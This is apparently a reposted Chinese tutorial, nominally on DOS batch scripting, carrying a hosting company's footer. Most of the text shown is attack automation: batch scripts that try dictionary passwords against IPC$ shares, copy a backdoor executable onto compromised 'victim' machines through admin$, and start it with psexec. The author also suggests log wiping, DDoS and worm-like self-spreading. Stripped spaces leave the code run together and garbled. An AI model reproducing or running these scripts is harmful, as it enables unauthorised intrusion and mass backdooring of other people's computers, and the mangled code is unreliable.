DOS批处理脚本语言简介与详细说明
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
| － for/fi%%in(dict.txt)donetuse\\ip\ipc$"i%%"/u:"administrator" fi nd":命令成功完成">>D:\ok.txt，这样就ko了。 sample3： 你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本 很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或 重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。 主要命令也只有一条：（在批处理文件中使用FOR命令时，指定变量使用%%variab le） @for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcalldoor.bat %%i%%j%%k tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递 给door.bat中的参数%i%j%k。 而cultivate.bat无非就是用netuse命令来建立IPC$连接，并copy木马＋后门到vict im，然后用返回码（Iferrorlever=）来筛选成功种植后门的主机，并echo出来，或者e cho到指定的文件。 delims=表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt里的内容是什么样的了。应该根据%%i%%j%%k表示的对象来排列，一般就是 ippasswordusername。 代码雏形： ---------------cutherethensaveasabatchfile(Icallitmain.bat)--- ------------------------ @echooff @if"%1"==""gotousage @for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack. bat%%i%%j%%k @gotoend :usage @echorunthisbatchindosmodle.orjustdouble-clickit. :end ---------------cutherethensaveasabatchfile(Icallitmain.bat)--- ------------------------ -------------------cutherethensaveasabatchfile(Icallitdoor.bat) ----------------------------- @netuse\\%1\ipc$%3/u:"%2" @iferrorlevel1gotofailed @echoTryingtoestablishtheIPC$connection…………OK @copywindrv32.exe\\%1\admin$\system32&&ifnoterrorlevel1echoIP%1U SER%2PWD%3>>ko.txt @psexec\\%1c:\winnt\system32\windrv32.exe @psexec\\%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored> >ko.txt :failed @echoSorrycannotconnectedtothevictim. -----------------cutherethensaveasabatchfile(Icallitdoor.bat)-- ------------------------------ 这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,P Sexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以 使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 二.如何在批处理文件中使用参数 批处理中可以使用参数，一般从1%到9%这九个，当有多个参数时需要用shift来移动 ，这种情况并不多见，我们就不考虑它了。 sample1：fomat.bat @echooff if"%1"=="a"formata: :format @formata:/q/u/auotset @echopleaseinsertanotherdisktodriverA. @pause @gotofomat 这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bata， 呵呵,好像有点画蛇添足了～^_^ sample2： 当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们 不如把一些固定命令写入一个批处理，把肉鸡地ippasswordusername当着参数来赋给这 个批处理，这样就不用每次都打命令了。 @echooff @netuse\\1%\ipc$"2%"/u:"3%"注意哦，这里PASSWORD是第二个参数。 @iferrorlevel1echoconnectionfailed 怎么样,使用参数还是比较简单的吧？你这么 |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
上一篇: 几个bat例子文件下一篇: 在DOS下使用长文件名的方法
关于DOS批处理脚本语言简介与详细说明的所有评论
